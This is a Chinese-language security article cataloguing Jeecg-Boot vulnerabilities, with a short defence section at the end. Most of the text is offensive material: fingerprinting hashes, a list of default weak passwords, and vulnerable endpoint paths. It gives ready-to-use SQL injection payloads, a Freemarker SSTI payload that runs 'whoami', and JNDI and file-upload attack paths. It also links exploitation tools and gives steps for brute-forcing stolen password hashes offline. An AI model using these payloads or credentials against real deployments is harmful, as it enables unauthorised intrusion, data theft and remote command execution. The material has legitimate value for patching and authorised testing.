Jeecg-boot常见漏洞汇总
字数 2600
更新时间 2025-09-01 11:26:11

Jeecg-Boot 安全漏洞分析与防护指南

1. Jeecg-Boot 简介

JeecgBoot 是一款基于代码生成器的低代码开发平台,主要特点包括:

  • 前后端分离架构(Ant Design & Vue3, SpringBoot, SpringCloud Alibaba)
  • 强大的代码生成器功能
  • 集成AI应用能力(知识库问答、模型管理、流程编排等)
  • 支持多种AI大模型(ChatGPT、DeepSeek、Ollama等)

官网地址:https://jeecg.com
开源项目地址:https://github.com/zhangdaiscott/jeecg-boot

2. 资产识别方法

2.1 指纹特征

  • 网页特征:/sys/common/pdf/pdfPreviewIframe、"积木报表"、"Jeecg-Boot 快速开发平台"
  • 图标哈希:1380908726 或 -250963920
  • 加载动画特征

2.2 常见弱口令

admin/123456
jeecg/123456
admn/admin
test/test
demo/test
jeecg/jeecg123456
guest/guest

3. 高危漏洞分析

3.1 密码重置漏洞

路径/jeecg-boot/sys/user/passwordChange
方法:GET
参数

username=admin
password=admin
smscode=
phone=

影响:任意用户密码重置

3.2 信息泄露漏洞

3.2.1 用户信息泄露

路径

  • /jeecg-boot/sys/user/querySysUser?username=admin
  • /jeecg-boot/sys/user/checkOnlyUser?username=admin

3.2.2 目录遍历

路径/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/
影响:低权限账号可获取服务器文件目录信息

3.3 SQL注入漏洞

3.3.1 /sys/dict/queryTableData SQL注入

版本:3.4.4及之前
方法:POST
路径/jeecg-boot/sys/dict/queryTableData

3.3.2 /onlDragDatasetHead/getTotalData SQL注入

版本:3.7.1
方法:POST
路径/jeecg-boot/drag/onlDragDatasetHead/getTotalData

3.3.3 /getDictItemsByTable SQL注入

方法:GET
路径/jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js

3.3.4 /jmreport/show SQL注入

版本:3.5.0和3.5.1
方法:POST
路径/jeecg-boot/jmreport/show
Payload示例

{
  "id": "961455b47c0b86dc961e90b5893bff05",
  "apiUrl": "",
  "params": {
    "id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '"
  }
}

3.3.5 /sys/duplicate/check SQL注入

特点:需要身份认证
方法:GET
路径/jeecg-boot/sys/duplicate/check
参数

tableName=v3_hello
fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))
fieldVal=1
dataId=asd

3.4 模板注入漏洞

3.4.1 SSTI模板注入

路径/jeecg-boot/jmreport/loadTableData
版本:3.5.3
Payload示例

{
  "dbSource":"",
  "sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'",
  "tableName":"test_demo);",
  "pageNo":1,
  "pageSize":10
}

3.4.2 AviatorScript表达式注入

路径

  • 保存:/jeecg-boot/jmreport/save
  • 触发:/jeecg-boot/jmreport/show

3.4.3 Freemarker模板注入

路径

  1. 添加模板:/jeecg-boot/sys/message/sysMessageTemplate/add
  2. 发送模板:/jeecg-boot/sys/message/sysMessageTemplate/sendMsg
  3. 查看结果:/jeecg-boot/sys/message/sysMessage/list

3.5 JNDI注入漏洞

版本:4.0及之前
路径/api/../jeecgFormDemoController.do?interfaceTest=
利用条件

  • 依赖fastjson 1.2.31版本
  • 远程LDAP服务器

3.6 文件上传漏洞

3.6.1 未授权文件上传

路径/jeecg-boot/jmreport/upload
特点:上传无需授权,但访问需要token

3.6.2 路径遍历文件上传

路径/jeecg-boot/api/../commonController.do?parserXml
方法:POST
Content-Typemultipart/form-data

4. 常见接口列表

4.1 信息类接口

/v2/api-docs
/swagger-ui.html
/env
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace
/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json
/druid/login.html

4.2 用户管理接口

/sys/user/list
/sys/user/add
/sys/user/edit
/sys/user/queryById
/sys/user/changePassword
/sys/user/delete
/sys/user/addSysUserRole

4.3 权限管理接口

/sys/role/list
/sys/role/add
/sys/role/edit
/sys/role/queryPermission
/sys/role/delete
/sys/menu/list
/sys/menu/add
/sys/menu/edit
/sys/menu/delete

4.4 数据管理接口

/online/cgform/list
/online/cgform/add
/online/cgform/edit
/online/cgform/delete
/online/cgform/fields/{tableName}
/online/cgform/table/list
/online/cgform/table/sync
/online/cgform/generateCode

5. 漏洞利用工具

5.1 综合利用工具

项目地址:https://github.com/Framework-vulnerability-tool/jeecg
功能

  • 远程命令执行
  • SQL注入利用
  • 文件上传
  • 信息泄露
  • JNDI注入等

5.2 离线密码爆破工具

项目地址:https://github.com/ssrsec/JeecgBoot-offline-brute
使用场景:通过SQL注入获取加密凭据后的离线爆破
使用方法

  1. 通过SQL注入获取用户名加密密码salt
  2. 存入data.json
  3. 准备密码字典pass.txt
  4. 执行:java -jar JeecgBoot-offline-brute.jar

6. 防护建议

  1. 及时升级:保持Jeecg-Boot版本为最新
  2. 权限控制
    • 严格限制接口访问权限
    • 禁用不必要的接口
  3. 输入验证
    • 对所有用户输入进行严格过滤
    • 使用参数化查询防止SQL注入
  4. 安全配置
    • 修改默认密码
    • 禁用调试接口
    • 限制文件上传类型
  5. 监控审计
    • 监控异常访问行为
    • 定期审计系统日志

7. 总结

Jeecg-Boot作为一款流行的低代码开发平台,存在多种高危漏洞,攻击者可能通过这些漏洞获取系统权限、窃取敏感数据或破坏系统。安全团队应重点关注SQL注入、模板注入和文件上传等漏洞,并采取相应的防护措施。

相似文章
相似文章
 全屏